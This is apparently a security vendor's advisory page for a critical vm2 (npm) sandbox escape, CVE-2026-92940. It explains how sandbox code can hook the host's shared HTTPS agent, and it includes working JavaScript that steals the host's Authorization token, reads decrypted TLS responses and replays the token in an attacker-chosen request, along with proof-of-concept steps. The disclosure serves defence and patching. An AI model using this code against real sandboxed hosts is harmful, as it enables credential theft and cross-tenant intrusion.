CVE-2026-92940

CVE-2026-92940 is a critical-severity security vulnerability in vm2 (npm), affecting versions >= 3.11.3, <= 3.11.6. It is fixed in 3.11.7.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

vm2 exposes host HTTPS credentials and TLS traffic through globalAgent

vm2 3.11.6 exposes the host process's real https.globalAgent when a NodeVM is explicitly allowed to require https. The module is wrapped as read-only, but calls to methods on the shared agent still mutate the host object. Sandbox code can register a free listener and receive host request options and the host TLS socket whenever an unrelated host HTTPS request releases a pooled connection.

In a contained test, sandbox code allowed only the https builtin:

  • read the host request's bearer token from the agent event;
  • attached a data listener to the released host TLS socket and read the next host response body in plaintext;
  • learned the private service host and port;
  • sent an attacker-chosen authenticated POST using the stolen host token; and
  • received confirmation that the service accepted the action.

The host application never passed its credentials, request, response, socket, or destination into the sandbox. They crossed the boundary solely because vm2 exposes the process-global HTTPS agent instead of a sandbox-local network module instance.

Details

The vulnerable boundary is the default builtin loader in lib/builtin.js:

builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));

The wrapper recursively exposes properties of the actual host module. For ordinary constants, a read-only proxy can be sufficient. It is not sufficient for process-global EventEmitter objects whose methods mutate internal state.

https.globalAgent is the default agent used by host HTTPS requests when the host does not supply a separate agent. The agent is shared by the entire Node.js thread. Its free event supplies both:

  • the TLSSocket that has just completed a request and is available for reuse; and
  • the connection/request options used to place that socket in the pool.

The following sandbox code registers directly on that host singleton:

const https = require('https');

https.globalAgent.on('free', (socket, options) => {
  const token = options.headers.Authorization;
  const destination = {host: options.host, port: options.port};

  socket.on('data', chunk => {
    capturedHostTraffic += chunk.toString('utf8');
  });

  const req = https.request({
    hostname: destination.host,
    port: destination.port,
    path: '/sandbox-action',
    method: 'POST',
    headers: {Authorization: token},
    agent: false,
  });
  req.end(attackerChosenBody);
});

Calling .on() is not a property assignment, so the read-only handler forwards it to the real host Agent. When the host later emits free, vm2 invokes the sandbox callback with bridged views of the live options and socket. Reading nested header values succeeds. Calling socket.on() also forwards to the real socket, letting the sandbox observe the decrypted bytes emitted during a later request on that connection.

The complete exploit flow is:

attacker-controlled NodeVM program with https allowed
  -> subscribe to the real host https.globalAgent
  -> unrelated host HTTPS request completes
  -> shared Agent emits live socket and request options into sandbox callback
  -> sandbox reads host Authorization token and private destination
  -> sandbox attaches to the released TLSSocket
  -> next host response is exposed in plaintext
  -> sandbox reuses stolen token for attacker-chosen authenticated request

This is a distinct residual of the same process-wide observability class for which other host builtins are rejected. The current dangerous-builtin filter does not classify https as process-global because the module also has legitimate sandbox network APIs. A safe implementation must avoid exposing the host singleton, such as by providing a sandbox-local module facade and sandbox-local Agent.

PoC

The attached PoC uses only a temporary certificate and a loopback HTTPS server.

  1. Install Node.js and OpenSSL.

  2. In the attached poc directory, run:

    npm install --ignore-scripts
    node poc.js
    
  3. A vulnerable result includes all of the following markers:

    • leaked host token: Bearer VM2_HOST_AUTHORIZATION_f7952a;
    • captured host response: VM2_PRIVATE_HOST_RESPONSE_47b2d6;
    • attacker-chosen authenticated action: VM2_SANDBOX_ACTION_8d14c3;
    • server decision: ACTION_ACCEPTED.

The first host request carries the token. After it completes, the sandbox callback receives the token and independently sends the action request. The second host request reuses the pooled TLS connection; the sandbox's listener reads that response from the live socket. The PoC fails unless both confidentiality and integrity effects occur.

Impact

This is cross-boundary exposure and misuse of a process-global authenticated network resource.

An attacker who can submit code to a NodeVM with https allowed can, when the host uses the default HTTPS agent:

  • steal Authorization, Cookie, API-key, proxy-authorization, and other sensitive request options;
  • discover private service hostnames and ports used only by host code;
  • read plaintext response headers and bodies on reused TLS connections;
  • steal client-certificate, private-key, passphrase, CA, or session-related options when the host supplies them through request options;
  • perform authenticated actions using stolen bearer credentials;
  • write to or destroy live host sockets, disrupting or corrupting unrelated traffic;
  • cross tenant boundaries when multiple sandboxes and host workloads share one process.

The sandbox already has the intentional ability to make its own HTTPS requests. It does not intentionally have authority to observe or reuse the host application's credentials and connections. A host that always supplies a separate private Agent for every sensitive request avoids this specific singleton, but that is not the default behavior.

CVE-2026-92940 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.7); upgrading removes the vulnerable code path.

Affected versions

vm2 (>= 3.11.3, <= 3.11.6)

Security releases

vm2 → 3.11.7 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade vm2 to 3.11.7 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-92940? CVE-2026-92940 is a critical-severity security vulnerability in vm2 (npm), affecting versions >= 3.11.3, <= 3.11.6. It is fixed in 3.11.7.
  2. How severe is CVE-2026-92940? CVE-2026-92940 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of vm2 are affected by CVE-2026-92940? vm2 (npm) versions >= 3.11.3, <= 3.11.6 is affected.
  4. Is there a fix for CVE-2026-92940? Yes. CVE-2026-92940 is fixed in 3.11.7. Upgrade to this version or later.
  5. Is CVE-2026-92940 exploitable, and should I be worried? Whether CVE-2026-92940 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-92940 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-92940? Upgrade vm2 to 3.11.7 or later.

Other vulnerabilities in vm2

Stop the waste.
Protect your environment with Kodem.